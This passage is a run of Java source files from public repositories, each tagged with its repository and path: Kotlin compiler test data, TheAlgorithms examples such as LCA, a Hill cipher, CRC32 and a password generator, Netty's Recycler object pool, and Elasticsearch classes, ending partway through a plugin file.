// This import checks that the compiler won't parse the "record" word as a soft keyword // and load the non-existing class named "Unresolved" from this Java source. import record.Unresolved; // This class should be resolved correctly. public record Record(String string) {}
JetBrains/kotlin
compiler/testData/cli/jvm/Record.java
423
@javax.annotation.ParametersAreNonnullByDefault public class A { public void foo(String x) {} }
JetBrains/kotlin
compiler/testData/cli/jvm/jsr305/A.java
424
public class B { public void foo(@org.checkerframework.checker.nullness.compatqual.NonNullDecl String x) {} }
JetBrains/kotlin
compiler/testData/cli/jvm/compatqual/B.java
426
package com.thealgorithms.datastructures.trees; import java.util.ArrayList; import java.util.Scanner; public final class LCA { private LCA() { } private static final Scanner SCANNER = new Scanner(System.in); public static void main(String[] args) { // The adjacency list representation of a tree: ArrayList<ArrayList<Integer>> adj = new ArrayList<>(); // v is the number of vertices and e is the number of edges int v = SCANNER.nextInt(), e = v - 1; for (int i = 0; i < v; i++) { adj.add(new ArrayList<Integer>()); } // Storing the given tree as an adjacency list int to, from; for (int i = 0; i < e; i++) { to = SCANNER.nextInt(); from = SCANNER.nextInt(); adj.get(to).add(from); adj.get(from).add(to); } // parent[v1] gives parent of a vertex v1 int[] parent = new int[v]; // depth[v1] gives depth of vertex v1 with respect to the root int[] depth = new int[v]; // Assuming the tree to be rooted at 0, hence calculating parent and depth of every vertex dfs(adj, 0, -1, parent, depth); // Inputting the two vertices whose LCA is to be calculated int v1 = SCANNER.nextInt(), v2 = SCANNER.nextInt(); // Outputting the LCA System.out.println(getLCA(v1, v2, depth, parent)); } /** * Depth first search to calculate parent and depth of every vertex * * @param adj The adjacency list representation of the tree * @param s The source vertex * @param p Parent of source * @param parent An array to store parents of all vertices * @param depth An array to store depth of all vertices */ private static void dfs(ArrayList<ArrayList<Integer>> adj, int s, int p, int[] parent, int[] depth) { for (int adjacent : adj.get(s)) { if (adjacent != p) { parent[adjacent] = s; depth[adjacent] = 1 + depth[s]; dfs(adj, adjacent, s, parent, depth); } } } /** * Method to calculate Lowest Common Ancestor * * @param v1 The first vertex * @param v2 The second vertex * @param depth An array with depths of all vertices * @param parent An array with parents of all vertices * @return Returns a vertex that is LCA of v1 and v2 */ private static int getLCA(int v1, int v2, int[] depth, int[] parent) { if (depth[v1] < depth[v2]) { int temp = v1; v1 = v2; v2 = temp; } while (depth[v1] != depth[v2]) { v1 = parent[v1]; } if (v1 == v2) { return v1; } while (v1 != v2) { v1 = parent[v1]; v2 = parent[v2]; } return v1; } } /* * Input: * 10 * 0 1 * 0 2 * 1 5 * 5 6 * 2 4 * 2 3 * 3 7 * 7 9 * 7 8 * 9 4 * Output: * 2 */
TheAlgorithms/Java
src/main/java/com/thealgorithms/datastructures/trees/LCA.java
427
package com.thealgorithms.datastructures.bags; import java.util.Iterator; import java.util.NoSuchElementException; /** * Collection which does not allow removing elements (only collect and iterate) * * @param <Element> - the generic type of an element in this bag */ public class Bag<Element> implements Iterable<Element> { private Node<Element> firstElement; // first element of the bag private int size; // size of bag private static final class Node<Element> { private Element content; private Node<Element> nextElement; } /** * Create an empty bag */ public Bag() { firstElement = null; size = 0; } /** * @return true if this bag is empty, false otherwise */ public boolean isEmpty() { return firstElement == null; } /** * @return the number of elements */ public int size() { return size; } /** * @param element - the element to add */ public void add(Element element) { Node<Element> oldfirst = firstElement; firstElement = new Node<>(); firstElement.content = element; firstElement.nextElement = oldfirst; size++; } /** * Checks if the bag contains a specific element * * @param element which you want to look for * @return true if bag contains element, otherwise false */ public boolean contains(Element element) { for (Element value : this) { if (value.equals(element)) { return true; } } return false; } /** * @return an iterator that iterates over the elements in this bag in * arbitrary order */ public Iterator<Element> iterator() { return new ListIterator<>(firstElement); } @SuppressWarnings("hiding") private class ListIterator<Element> implements Iterator<Element> { private Node<Element> currentElement; ListIterator(Node<Element> firstElement) { currentElement = firstElement; } public boolean hasNext() { return currentElement != null; } /** * remove is not allowed in a bag */ @Override public void remove() { throw new UnsupportedOperationException(); } public Element next() { if (!hasNext()) { throw new NoSuchElementException(); } Element element = currentElement.content; currentElement = currentElement.nextElement; return element; } } /** * main-method for testing */ public static void main(String[] args) { Bag<String> bag = new Bag<>(); bag.add("1"); bag.add("1"); bag.add("2"); System.out.println("size of bag = " + bag.size()); for (String s : bag) { System.out.println(s); } System.out.println(bag.contains(null)); System.out.println(bag.contains("1")); System.out.println(bag.contains("3")); } }
TheAlgorithms/Java
src/main/java/com/thealgorithms/datastructures/bags/Bag.java
428
package com.thealgorithms.ciphers; import java.util.Scanner; /* * Java Implementation of Hill Cipher * Hill cipher is a polyalphabetic substitution cipher. Each letter is represented by a number * belonging to the set Z26 where A=0 , B=1, ..... Z=25. To encrypt a message, each block of n * letters (since matrix size is n x n) is multiplied by an invertible n × n matrix, against * modulus 26. To decrypt the message, each block is multiplied by the inverse of the matrix used * for encryption. The cipher key and plaintext/ciphertext are user inputs. * @author Ojasva Jain */ public final class HillCipher { private HillCipher() { } static Scanner userInput = new Scanner(System.in); /* Following function encrypts the message */ static void encrypt(String message) { message = message.toUpperCase(); // Get key matrix System.out.println("Enter key matrix size"); int matrixSize = userInput.nextInt(); System.out.println("Enter Key/encryptionKey matrix "); int[][] keyMatrix = new int[matrixSize][matrixSize]; for (int i = 0; i < matrixSize; i++) { for (int j = 0; j < matrixSize; j++) { keyMatrix[i][j] = userInput.nextInt(); } } // check if det = 0 validateDeterminant(keyMatrix, matrixSize); int[][] messageVector = new int[matrixSize][1]; String CipherText = ""; int[][] cipherMatrix = new int[matrixSize][1]; int j = 0; while (j < message.length()) { for (int i = 0; i < matrixSize; i++) { if (j >= message.length()) { messageVector[i][0] = 23; } else { messageVector[i][0] = (message.charAt(j)) % 65; } System.out.println(messageVector[i][0]); j++; } int x, i; for (i = 0; i < matrixSize; i++) { cipherMatrix[i][0] = 0; for (x = 0; x < matrixSize; x++) { cipherMatrix[i][0] += keyMatrix[i][x] * messageVector[x][0]; } System.out.println(cipherMatrix[i][0]); cipherMatrix[i][0] = cipherMatrix[i][0] % 26; } for (i = 0; i < matrixSize; i++) { CipherText += (char) (cipherMatrix[i][0] + 65); } } System.out.println("Ciphertext: " + CipherText); } // Following function decrypts a message static void decrypt(String message) { message = message.toUpperCase(); // Get key matrix System.out.println("Enter key matrix size"); int n = userInput.nextInt(); System.out.println("Enter inverseKey/decryptionKey matrix "); int[][] keyMatrix = new int[n][n]; for (int i = 0; i < n; i++) { for (int j = 0; j < n; j++) { keyMatrix[i][j] = userInput.nextInt(); } } // check if det = 0 validateDeterminant(keyMatrix, n); // solving for the required plaintext message int[][] messageVector = new int[n][1]; String PlainText = ""; int[][] plainMatrix = new int[n][1]; int j = 0; while (j < message.length()) { for (int i = 0; i < n; i++) { if (j >= message.length()) { messageVector[i][0] = 23; } else { messageVector[i][0] = (message.charAt(j)) % 65; } System.out.println(messageVector[i][0]); j++; } int x, i; for (i = 0; i < n; i++) { plainMatrix[i][0] = 0; for (x = 0; x < n; x++) { plainMatrix[i][0] += keyMatrix[i][x] * messageVector[x][0]; } plainMatrix[i][0] = plainMatrix[i][0] % 26; } for (i = 0; i < n; i++) { PlainText += (char) (plainMatrix[i][0] + 65); } } System.out.println("Plaintext: " + PlainText); } // Determinant calculator public static int determinant(int[][] a, int n) { int det = 0, sign = 1, p = 0, q = 0; if (n == 1) { det = a[0][0]; } else { int[][] b = new int[n - 1][n - 1]; for (int x = 0; x < n; x++) { p = 0; q = 0; for (int i = 1; i < n; i++) { for (int j = 0; j < n; j++) { if (j != x) { b[p][q++] = a[i][j]; if (q % (n - 1) == 0) { p++; q = 0; } } } } det = det + a[0][x] * determinant(b, n - 1) * sign; sign = -sign; } } return det; } // Function to implement Hill Cipher static void hillCipher(String message) { System.out.println("What do you want to process from the message?"); System.out.println("Press 1: To Encrypt"); System.out.println("Press 2: To Decrypt"); short sc = userInput.nextShort(); if (sc == 1) { encrypt(message); } else if (sc == 2) { decrypt(message); } else { System.out.println("Invalid input, program terminated."); } } static void validateDeterminant(int[][] keyMatrix, int n) { if (determinant(keyMatrix, n) % 26 == 0) { System.out.println("Invalid key, as determinant = 0. Program Terminated"); } } // Driver code public static void main(String[] args) { // Get the message to be encrypted System.out.println("Enter message"); String message = userInput.nextLine(); hillCipher(message); } }
TheAlgorithms/Java
src/main/java/com/thealgorithms/ciphers/HillCipher.java
429
package com.thealgorithms.others; /** * Guass Legendre Algorithm ref * https://en.wikipedia.org/wiki/Gauss–Legendre_algorithm * * @author AKS1996 */ public final class GuassLegendre { private GuassLegendre() { } public static void main(String[] args) { for (int i = 1; i <= 3; ++i) { System.out.println(pi(i)); } } static double pi(int l) { /* * l: No of loops to run */ double a = 1, b = Math.pow(2, -0.5), t = 0.25, p = 1; for (int i = 0; i < l; ++i) { double[] temp = update(a, b, t, p); a = temp[0]; b = temp[1]; t = temp[2]; p = temp[3]; } return Math.pow(a + b, 2) / (4 * t); } static double[] update(double a, double b, double t, double p) { double[] values = new double[4]; values[0] = (a + b) / 2; values[1] = Math.sqrt(a * b); values[2] = t - p * Math.pow(a - values[0], 2); values[3] = 2 * p; return values; } }
TheAlgorithms/Java
src/main/java/com/thealgorithms/others/GuassLegendre.java
431
/* * Copyright 2013 The Netty Project * * The Netty Project licenses this file to you under the Apache License, * version 2.0 (the "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at: * * https://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the * License for the specific language governing permissions and limitations * under the License. */ package io.netty.util; import io.netty.util.concurrent.FastThreadLocal; import io.netty.util.concurrent.FastThreadLocalThread; import io.netty.util.internal.ObjectPool; import io.netty.util.internal.PlatformDependent; import io.netty.util.internal.SystemPropertyUtil; import io.netty.util.internal.UnstableApi; import io.netty.util.internal.logging.InternalLogger; import io.netty.util.internal.logging.InternalLoggerFactory; import org.jctools.queues.MessagePassingQueue; import org.jetbrains.annotations.VisibleForTesting; import java.util.ArrayDeque; import java.util.Queue; import java.util.concurrent.atomic.AtomicIntegerFieldUpdater; import static io.netty.util.internal.PlatformDependent.newMpscQueue; import static java.lang.Math.max; import static java.lang.Math.min; /** * Light-weight object pool based on a thread-local stack. * * @param <T> the type of the pooled object */ public abstract class Recycler<T> { private static final InternalLogger logger = InternalLoggerFactory.getInstance(Recycler.class); private static final EnhancedHandle<?> NOOP_HANDLE = new EnhancedHandle<Object>() { @Override public void recycle(Object object) { // NOOP } @Override public void unguardedRecycle(final Object object) { // NOOP } @Override public String toString() { return "NOOP_HANDLE"; } }; private static final int DEFAULT_INITIAL_MAX_CAPACITY_PER_THREAD = 4 * 1024; // Use 4k instances as default. private static final int DEFAULT_MAX_CAPACITY_PER_THREAD; private static final int RATIO; private static final int DEFAULT_QUEUE_CHUNK_SIZE_PER_THREAD; private static final boolean BLOCKING_POOL; private static final boolean BATCH_FAST_TL_ONLY; static { // In the future, we might have different maxCapacity for different object types. // e.g. io.netty.recycler.maxCapacity.writeTask // io.netty.recycler.maxCapacity.outboundBuffer int maxCapacityPerThread = SystemPropertyUtil.getInt("io.netty.recycler.maxCapacityPerThread", SystemPropertyUtil.getInt("io.netty.recycler.maxCapacity", DEFAULT_INITIAL_MAX_CAPACITY_PER_THREAD)); if (maxCapacityPerThread < 0) { maxCapacityPerThread = DEFAULT_INITIAL_MAX_CAPACITY_PER_THREAD; } DEFAULT_MAX_CAPACITY_PER_THREAD = maxCapacityPerThread; DEFAULT_QUEUE_CHUNK_SIZE_PER_THREAD = SystemPropertyUtil.getInt("io.netty.recycler.chunkSize", 32); // By default, we allow one push to a Recycler for each 8th try on handles that were never recycled before. // This should help to slowly increase the capacity of the recycler while not be too sensitive to allocation // bursts. RATIO = max(0, SystemPropertyUtil.getInt("io.netty.recycler.ratio", 8)); BLOCKING_POOL = SystemPropertyUtil.getBoolean("io.netty.recycler.blocking", false); BATCH_FAST_TL_ONLY = SystemPropertyUtil.getBoolean("io.netty.recycler.batchFastThreadLocalOnly", true); if (logger.isDebugEnabled()) { if (DEFAULT_MAX_CAPACITY_PER_THREAD == 0) { logger.debug("-Dio.netty.recycler.maxCapacityPerThread: disabled"); logger.debug("-Dio.netty.recycler.ratio: disabled"); logger.debug("-Dio.netty.recycler.chunkSize: disabled"); logger.debug("-Dio.netty.recycler.blocking: disabled"); logger.debug("-Dio.netty.recycler.batchFastThreadLocalOnly: disabled"); } else { logger.debug("-Dio.netty.recycler.maxCapacityPerThread: {}", DEFAULT_MAX_CAPACITY_PER_THREAD); logger.debug("-Dio.netty.recycler.ratio: {}", RATIO); logger.debug("-Dio.netty.recycler.chunkSize: {}", DEFAULT_QUEUE_CHUNK_SIZE_PER_THREAD); logger.debug("-Dio.netty.recycler.blocking: {}", BLOCKING_POOL); logger.debug("-Dio.netty.recycler.batchFastThreadLocalOnly: {}", BATCH_FAST_TL_ONLY); } } } private final int maxCapacityPerThread; private final int interval; private final int chunkSize; private final FastThreadLocal<LocalPool<T>> threadLocal = new FastThreadLocal<LocalPool<T>>() { @Override protected LocalPool<T> initialValue() { return new LocalPool<T>(maxCapacityPerThread, interval, chunkSize); } @Override protected void onRemoval(LocalPool<T> value) throws Exception { super.onRemoval(value); MessagePassingQueue<DefaultHandle<T>> handles = value.pooledHandles; value.pooledHandles = null; value.owner = null; handles.clear(); } }; protected Recycler() { this(DEFAULT_MAX_CAPACITY_PER_THREAD); } protected Recycler(int maxCapacityPerThread) { this(maxCapacityPerThread, RATIO, DEFAULT_QUEUE_CHUNK_SIZE_PER_THREAD); } /** * @deprecated Use one of the following instead: * {@link #Recycler()}, {@link #Recycler(int)}, {@link #Recycler(int, int, int)}. */ @Deprecated @SuppressWarnings("unused") // Parameters we can't remove due to compatibility. protected Recycler(int maxCapacityPerThread, int maxSharedCapacityFactor) { this(maxCapacityPerThread, RATIO, DEFAULT_QUEUE_CHUNK_SIZE_PER_THREAD); } /** * @deprecated Use one of the following instead: * {@link #Recycler()}, {@link #Recycler(int)}, {@link #Recycler(int, int, int)}. */ @Deprecated @SuppressWarnings("unused") // Parameters we can't remove due to compatibility. protected Recycler(int maxCapacityPerThread, int maxSharedCapacityFactor, int ratio, int maxDelayedQueuesPerThread) { this(maxCapacityPerThread, ratio, DEFAULT_QUEUE_CHUNK_SIZE_PER_THREAD); } /** * @deprecated Use one of the following instead: * {@link #Recycler()}, {@link #Recycler(int)}, {@link #Recycler(int, int, int)}. */ @Deprecated @SuppressWarnings("unused") // Parameters we can't remove due to compatibility. protected Recycler(int maxCapacityPerThread, int maxSharedCapacityFactor, int ratio, int maxDelayedQueuesPerThread, int delayedQueueRatio) { this(maxCapacityPerThread, ratio, DEFAULT_QUEUE_CHUNK_SIZE_PER_THREAD); } protected Recycler(int maxCapacityPerThread, int ratio, int chunkSize) { interval = max(0, ratio); if (maxCapacityPerThread <= 0) { this.maxCapacityPerThread = 0; this.chunkSize = 0; } else { this.maxCapacityPerThread = max(4, maxCapacityPerThread); this.chunkSize = max(2, min(chunkSize, this.maxCapacityPerThread >> 1)); } } @SuppressWarnings("unchecked") public final T get() { if (maxCapacityPerThread == 0) { return newObject((Handle<T>) NOOP_HANDLE); } LocalPool<T> localPool = threadLocal.get(); DefaultHandle<T> handle = localPool.claim(); T obj; if (handle == null) { handle = localPool.newHandle(); if (handle != null) { obj = newObject(handle); handle.set(obj); } else { obj = newObject((Handle<T>) NOOP_HANDLE); } } else { obj = handle.get(); } return obj; } /** * @deprecated use {@link Handle#recycle(Object)}. */ @Deprecated public final boolean recycle(T o, Handle<T> handle) { if (handle == NOOP_HANDLE) { return false; } handle.recycle(o); return true; } @VisibleForTesting final int threadLocalSize() { LocalPool<T> localPool = threadLocal.getIfExists(); return localPool == null ? 0 : localPool.pooledHandles.size() + localPool.batch.size(); } /** * @param handle can NOT be null. */ protected abstract T newObject(Handle<T> handle); @SuppressWarnings("ClassNameSameAsAncestorName") // Can't change this due to compatibility. public interface Handle<T> extends ObjectPool.Handle<T> { } @UnstableApi public abstract static class EnhancedHandle<T> implements Handle<T> { public abstract void unguardedRecycle(Object object); private EnhancedHandle() { } } private static final class DefaultHandle<T> extends EnhancedHandle<T> { private static final int STATE_CLAIMED = 0; private static final int STATE_AVAILABLE = 1; private static final AtomicIntegerFieldUpdater<DefaultHandle<?>> STATE_UPDATER; static { AtomicIntegerFieldUpdater<?> updater = AtomicIntegerFieldUpdater.newUpdater(DefaultHandle.class, "state"); //noinspection unchecked STATE_UPDATER = (AtomicIntegerFieldUpdater<DefaultHandle<?>>) updater; } private volatile int state; // State is initialised to STATE_CLAIMED (aka. 0) so they can be released. private final LocalPool<T> localPool; private T value; DefaultHandle(LocalPool<T> localPool) { this.localPool = localPool; } @Override public void recycle(Object object) { if (object != value) { throw new IllegalArgumentException("object does not belong to handle"); } localPool.release(this, true); } @Override public void unguardedRecycle(Object object) { if (object != value) { throw new IllegalArgumentException("object does not belong to handle"); } localPool.release(this, false); } T get() { return value; } void set(T value) { this.value = value; } void toClaimed() { assert state == STATE_AVAILABLE; STATE_UPDATER.lazySet(this, STATE_CLAIMED); } void toAvailable() { int prev = STATE_UPDATER.getAndSet(this, STATE_AVAILABLE); if (prev == STATE_AVAILABLE) { throw new IllegalStateException("Object has been recycled already."); } } void unguardedToAvailable() { int prev = state; if (prev == STATE_AVAILABLE) { throw new IllegalStateException("Object has been recycled already."); } STATE_UPDATER.lazySet(this, STATE_AVAILABLE); } } private static final class LocalPool<T> implements MessagePassingQueue.Consumer<DefaultHandle<T>> { private final int ratioInterval; private final int chunkSize; private final ArrayDeque<DefaultHandle<T>> batch; private volatile Thread owner; private volatile MessagePassingQueue<DefaultHandle<T>> pooledHandles; private int ratioCounter; @SuppressWarnings("unchecked") LocalPool(int maxCapacity, int ratioInterval, int chunkSize) { this.ratioInterval = ratioInterval; this.chunkSize = chunkSize; batch = new ArrayDeque<DefaultHandle<T>>(chunkSize); Thread currentThread = Thread.currentThread(); owner = !BATCH_FAST_TL_ONLY || currentThread instanceof FastThreadLocalThread ? currentThread : null; if (BLOCKING_POOL) { pooledHandles = new BlockingMessageQueue<DefaultHandle<T>>(maxCapacity); } else { pooledHandles = (MessagePassingQueue<DefaultHandle<T>>) newMpscQueue(chunkSize, maxCapacity); } ratioCounter = ratioInterval; // Start at interval so the first one will be recycled. } DefaultHandle<T> claim() { MessagePassingQueue<DefaultHandle<T>> handles = pooledHandles; if (handles == null) { return null; } if (batch.isEmpty()) { handles.drain(this, chunkSize); } DefaultHandle<T> handle = batch.pollFirst(); if (null != handle) { handle.toClaimed(); } return handle; } void release(DefaultHandle<T> handle, boolean guarded) { if (guarded) { handle.toAvailable(); } else { handle.unguardedToAvailable(); } Thread owner = this.owner; if (owner != null && Thread.currentThread() == owner && batch.size() < chunkSize) { accept(handle); } else if (owner != null && isTerminated(owner)) { this.owner = null; pooledHandles = null; } else { MessagePassingQueue<DefaultHandle<T>> handles = pooledHandles; if (handles != null) { handles.relaxedOffer(handle); } } } private static boolean isTerminated(Thread owner) { // Do not use `Thread.getState()` in J9 JVM because it's known to have a performance issue. // See: https://github.com/netty/netty/issues/13347#issuecomment-1518537895 return PlatformDependent.isJ9Jvm() ? !owner.isAlive() : owner.getState() == Thread.State.TERMINATED; } DefaultHandle<T> newHandle() { if (++ratioCounter >= ratioInterval) { ratioCounter = 0; return new DefaultHandle<T>(this); } return null; } @Override public void accept(DefaultHandle<T> e) { batch.addLast(e); } } /** * This is an implementation of {@link MessagePassingQueue}, similar to what might be returned from * {@link PlatformDependent#newMpscQueue(int)}, but intended to be used for debugging purpose. * The implementation relies on synchronised monitor locks for thread-safety. * The {@code fill} bulk operation is not supported by this implementation. */ private static final class BlockingMessageQueue<T> implements MessagePassingQueue<T> { private final Queue<T> deque; private final int maxCapacity; BlockingMessageQueue(int maxCapacity) { this.maxCapacity = maxCapacity; // This message passing queue is backed by an ArrayDeque instance, // made thread-safe by synchronising on `this` BlockingMessageQueue instance. // Why ArrayDeque? // We use ArrayDeque instead of LinkedList or LinkedBlockingQueue because it's more space efficient. // We use ArrayDeque instead of ArrayList because we need the queue APIs. // We use ArrayDeque instead of ConcurrentLinkedQueue because CLQ is unbounded and has O(n) size(). // We use ArrayDeque instead of ArrayBlockingQueue because ABQ allocates its max capacity up-front, // and these queues will usually have large capacities, in potentially great numbers (one per thread), // but often only have comparatively few items in them. deque = new ArrayDeque<T>(); } @Override public synchronized boolean offer(T e) { if (deque.size() == maxCapacity) { return false; } return deque.offer(e); } @Override public synchronized T poll() { return deque.poll(); } @Override public synchronized T peek() { return deque.peek(); } @Override public synchronized int size() { return deque.size(); } @Override public synchronized void clear() { deque.clear(); } @Override public synchronized boolean isEmpty() { return deque.isEmpty(); } @Override public int capacity() { return maxCapacity; } @Override public boolean relaxedOffer(T e) { return offer(e); } @Override public T relaxedPoll() { return poll(); } @Override public T relaxedPeek() { return peek(); } @Override public int drain(Consumer<T> c, int limit) { T obj; int i = 0; for (; i < limit && (obj = poll()) != null; i++) { c.accept(obj); } return i; } @Override public int fill(Supplier<T> s, int limit) { throw new UnsupportedOperationException(); } @Override public int drain(Consumer<T> c) { throw new UnsupportedOperationException(); } @Override public int fill(Supplier<T> s) { throw new UnsupportedOperationException(); } @Override public void drain(Consumer<T> c, WaitStrategy wait, ExitCondition exit) { throw new UnsupportedOperationException(); } @Override public void fill(Supplier<T> s, WaitStrategy wait, ExitCondition exit) { throw new UnsupportedOperationException(); } } }
netty/netty
common/src/main/java/io/netty/util/Recycler.java
434
package com.thealgorithms.others; import java.util.BitSet; /** * Generates a crc32 checksum for a given string or byte array */ public final class CRC32 { private CRC32() { } public static void main(String[] args) { System.out.println(Integer.toHexString(crc32("Hello World"))); } public static int crc32(String str) { return crc32(str.getBytes()); } public static int crc32(byte[] data) { BitSet bitSet = BitSet.valueOf(data); int crc32 = 0xFFFFFFFF; // initial value for (int i = 0; i < data.length * 8; i++) { if (((crc32 >>> 31) & 1) != (bitSet.get(i) ? 1 : 0)) { crc32 = (crc32 << 1) ^ 0x04C11DB7; // xor with polynomial } else { crc32 = (crc32 << 1); } } crc32 = Integer.reverse(crc32); // result reflect return crc32 ^ 0xFFFFFFFF; // final xor value } }
TheAlgorithms/Java
src/main/java/com/thealgorithms/others/CRC32.java
435
package com.thealgorithms.others; import java.util.ArrayList; import java.util.Collections; import java.util.List; import java.util.Random; /** * Creates a random password from ASCII letters Given password length bounds * * @author AKS1996 * @date 2017.10.25 */ final class PasswordGen { private PasswordGen() { } static String generatePassword(int min_length, int max_length) { Random random = new Random(); String upper = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; String lower = "abcdefghijklmnopqrstuvwxyz"; String numbers = "0123456789"; String specialChars = "!@#$%^&*(){}?"; String allChars = upper + lower + numbers + specialChars; List<Character> letters = new ArrayList<Character>(); for (char c : allChars.toCharArray()) { letters.add(c); } // Inbuilt method to randomly shuffle a elements of a list Collections.shuffle(letters); StringBuilder password = new StringBuilder(); // Note that size of the password is also random for (int i = random.nextInt(max_length - min_length) + min_length; i > 0; --i) { password.append(letters.get(random.nextInt(letters.size()))); } return password.toString(); } }
TheAlgorithms/Java
src/main/java/com/thealgorithms/others/PasswordGen.java
436
package com.thealgorithms.strings; import java.util.HashMap; import java.util.HashSet; import java.util.Map; import java.util.Set; public final class Isomorphic { private Isomorphic() { } public static boolean checkStrings(String s, String t) { if (s.length() != t.length()) { return false; } // To mark the characters of string using MAP // character of first string as KEY and another as VALUE // now check occurence by keeping the track with SET data structure Map<Character, Character> characterMap = new HashMap<Character, Character>(); Set<Character> trackUinqueCharacter = new HashSet<Character>(); for (int i = 0; i < s.length(); i++) { if (characterMap.containsKey(s.charAt(i))) { if (t.charAt(i) != characterMap.get(s.charAt(i))) { return false; } } else { if (trackUinqueCharacter.contains(t.charAt(i))) { return false; } characterMap.put(s.charAt(i), t.charAt(i)); } trackUinqueCharacter.add(t.charAt(i)); } return true; } }
TheAlgorithms/Java
src/main/java/com/thealgorithms/strings/Isomorphic.java
437
package com.thealgorithms.maths; public final class StandardDeviation { private StandardDeviation() { } public static double stdDev(double[] data) { double var = 0; double avg = 0; for (int i = 0; i < data.length; i++) { avg += data[i]; } avg /= data.length; for (int j = 0; j < data.length; j++) { var += Math.pow((data[j] - avg), 2); } var /= data.length; return Math.sqrt(var); } }
TheAlgorithms/Java
src/main/java/com/thealgorithms/maths/StandardDeviation.java
438
/* * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one * or more contributor license agreements. Licensed under the Elastic License * 2.0 and the Server Side Public License, v 1; you may not use this file except * in compliance with, at your election, the Elastic License 2.0 or the Server * Side Public License, v 1. */ package org.elasticsearch.cluster.metadata; import org.elasticsearch.common.Strings; import org.elasticsearch.common.io.stream.StreamInput; import org.elasticsearch.common.io.stream.StreamOutput; import org.elasticsearch.common.io.stream.Writeable; import org.elasticsearch.core.Nullable; import org.elasticsearch.xcontent.ToXContentObject; import org.elasticsearch.xcontent.XContentBuilder; import java.io.IOException; import java.util.Collection; import java.util.HashSet; import java.util.Objects; import java.util.Set; /** * A class encapsulating the usage of a particular "thing" by something else */ public class ItemUsage implements Writeable, ToXContentObject { private final Set<String> indices; private final Set<String> dataStreams; private final Set<String> composableTemplates; /** * Create a new usage, a {@code null} value indicates that the item *cannot* be used by the * thing, otherwise use an empty collection to indicate no usage. */ public ItemUsage( @Nullable Collection<String> indices, @Nullable Collection<String> dataStreams, @Nullable Collection<String> composableTemplates ) { this.indices = indices == null ? null : new HashSet<>(indices); this.dataStreams = dataStreams == null ? null : new HashSet<>(dataStreams); this.composableTemplates = composableTemplates == null ? null : new HashSet<>(composableTemplates); } public ItemUsage(StreamInput in) throws IOException { if (in.readBoolean()) { this.indices = in.readCollectionAsSet(StreamInput::readString); } else { this.indices = null; } if (in.readBoolean()) { this.dataStreams = in.readCollectionAsSet(StreamInput::readString); } else { this.dataStreams = null; } if (in.readBoolean()) { this.composableTemplates = in.readCollectionAsSet(StreamInput::readString); } else { this.composableTemplates = null; } } public Set<String> getIndices() { return indices; } public Set<String> getDataStreams() { return dataStreams; } public Set<String> getComposableTemplates() { return composableTemplates; } @Override public XContentBuilder toXContent(XContentBuilder builder, Params params) throws IOException { builder.startObject(); if (this.indices != null) { builder.stringListField("indices", this.indices); } if (this.dataStreams != null) { builder.stringListField("data_streams", this.dataStreams); } if (this.composableTemplates != null) { builder.stringListField("composable_templates", this.composableTemplates); } builder.endObject(); return builder; } @Override public void writeTo(StreamOutput out) throws IOException { out.writeOptionalStringCollection(this.indices); out.writeOptionalStringCollection(this.dataStreams); out.writeOptionalStringCollection(this.composableTemplates); } @Override public int hashCode() { return Objects.hash(this.indices, this.dataStreams, this.composableTemplates); } @Override public boolean equals(Object obj) { if (obj == null) { return false; } if (getClass() != obj.getClass()) { return false; } ItemUsage other = (ItemUsage) obj; return Objects.equals(indices, other.indices) && Objects.equals(dataStreams, other.dataStreams) && Objects.equals(composableTemplates, other.composableTemplates); } @Override public String toString() { return Strings.toString(this); } }
elastic/elasticsearch
server/src/main/java/org/elasticsearch/cluster/metadata/ItemUsage.java
439
package com.crossoverjie.gc; /** * Function: Eden区不够分配时,发生minorGC * * @author crossoverJie * Date: 17/01/2018 22:57 * @since JDK 1.8 */ public class MinorGC { /** * 1M */ private static final int SIZE = 1024 * 1024 ; /** * -XX:+PrintGCDetails -Xms20M -Xmx20M -Xmn10M -XX:SurvivorRatio=8 * @param args */ public static void main(String[] args) { byte[] one ; byte[] four ; one = new byte[2 * SIZE] ; //再分配一个 5M 内存时,Eden区不够了, four = new byte[5 * SIZE] ; } }
crossoverJie/JCSprout
src/main/java/com/crossoverjie/gc/MinorGC.java
440
/* * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one * or more contributor license agreements. Licensed under the Elastic License * 2.0 and the Server Side Public License, v 1; you may not use this file except * in compliance with, at your election, the Elastic License 2.0 or the Server * Side Public License, v 1. */ package org.elasticsearch.plugins; import org.elasticsearch.bootstrap.BootstrapCheck; import org.elasticsearch.client.internal.Client; import org.elasticsearch.cluster.metadata.DataStreamGlobalRetentionResolver; import org.elasticsearch.cluster.metadata.IndexNameExpressionResolver; import org.elasticsearch.cluster.metadata.IndexTemplateMetadata; import org.elasticsearch.cluster.routing.RerouteService; import org.elasticsearch.cluster.routing.allocation.AllocationService; import org.elasticsearch.cluster.service.ClusterService; import org.elasticsearch.common.component.LifecycleComponent; import org.elasticsearch.common.io.stream.NamedWriteable; import org.elasticsearch.common.io.stream.NamedWriteableRegistry; import org.elasticsearch.common.settings.Setting; import org.elasticsearch.common.settings.Settings; import org.elasticsearch.env.Environment; import org.elasticsearch.env.NodeEnvironment; import org.elasticsearch.features.FeatureService; import org.elasticsearch.index.IndexModule; import org.elasticsearch.index.IndexSettingProvider; import org.elasticsearch.indices.IndicesService; import org.elasticsearch.indices.SystemIndices; import org.elasticsearch.plugins.internal.DocumentParsingProvider; import org.elasticsearch.repositories.RepositoriesService; import org.elasticsearch.script.ScriptService; import org.elasticsearch.telemetry.TelemetryProvider; import org.elasticsearch.threadpool.ExecutorBuilder; import org.elasticsearch.threadpool.ThreadPool; import org.elasticsearch.watcher.ResourceWatcherService; import org.elasticsearch.xcontent.NamedXContentRegistry; import org.elasticsearch.xcontent.XContentParser; import java.io.Closeable; import java.io.IOException; import java.util.Collection; import java.util.Collections; import java.util.List; import java.util.Map; import java.util.function.Supplier; import java.util.function.UnaryOperator; /** * An extension point allowing to plug in custom functionality. This class has a number of extension points that are available to all * plugins, in addition you can implement any of the following interfaces to further customize Elasticsearch: * <ul> * <li>{@link ActionPlugin} * <li>{@link AnalysisPlugin} * <li>{@link ClusterPlugin} * <li>{@link DiscoveryPlugin} * 